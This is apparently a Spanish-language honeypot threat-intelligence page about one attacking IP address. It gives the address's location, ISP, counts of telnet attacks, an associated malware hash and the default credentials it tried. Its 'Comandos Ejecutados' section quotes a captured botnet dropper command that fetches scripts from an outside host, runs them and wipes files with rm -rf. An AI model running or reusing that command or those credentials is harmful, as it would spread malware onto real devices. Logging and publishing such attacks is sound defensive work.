⚠TROYANOSYVIRUS
Amenaza Activa • BAJO

152.42.164.68

Pais de Origen🇸🇬 Singapur
Primera Deteccion12/1/2026
Ultima Actividad12/1/2026
ISPDIGITALOCEAN-ASN
🎯
17
Ataques Totales
🔌
1
Puertos
📡
1
Tipos Ataque
🦠
1
Malware

Geolocalizacion

Pais
🇸🇬 Singapur
Ciudad
Singapore
ASN
AS14061
ISP
DIGITALOCEAN-ASN

Tipos de Ataque

cowrie

Puertos Atacados

23

Malware Asociado

6793b91d6b2d20d0aa7a...→

Credenciales Intentadas

🔐root/root
1x
🔐root/icatch99
1x
🔐admin/admin
1x
🔐root/(vacio)
1x

Comandos Ejecutados

$cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://202.1.31.175/1.sh; curl -O http://202.1.31.175/1.sh; chmod 777 1.sh; sh 1.sh; tftp 202.1.31.175 -c get 1.sh; chmod 777 1.sh; sh 1.sh; tftp -r 3.sh -g 202.1.31.175; chmod 777 3.sh; sh 3.sh; ftpget -v -u anonymous -p anonymous -P 21 202.1.31.175 2.sh 2.sh; sh 2.sh; rm -rf 1.sh 1.sh 3.sh 2.sh; rm -rf *1x

Evaluacion de Riesgo

25
/100
BajoMedioAltoCritico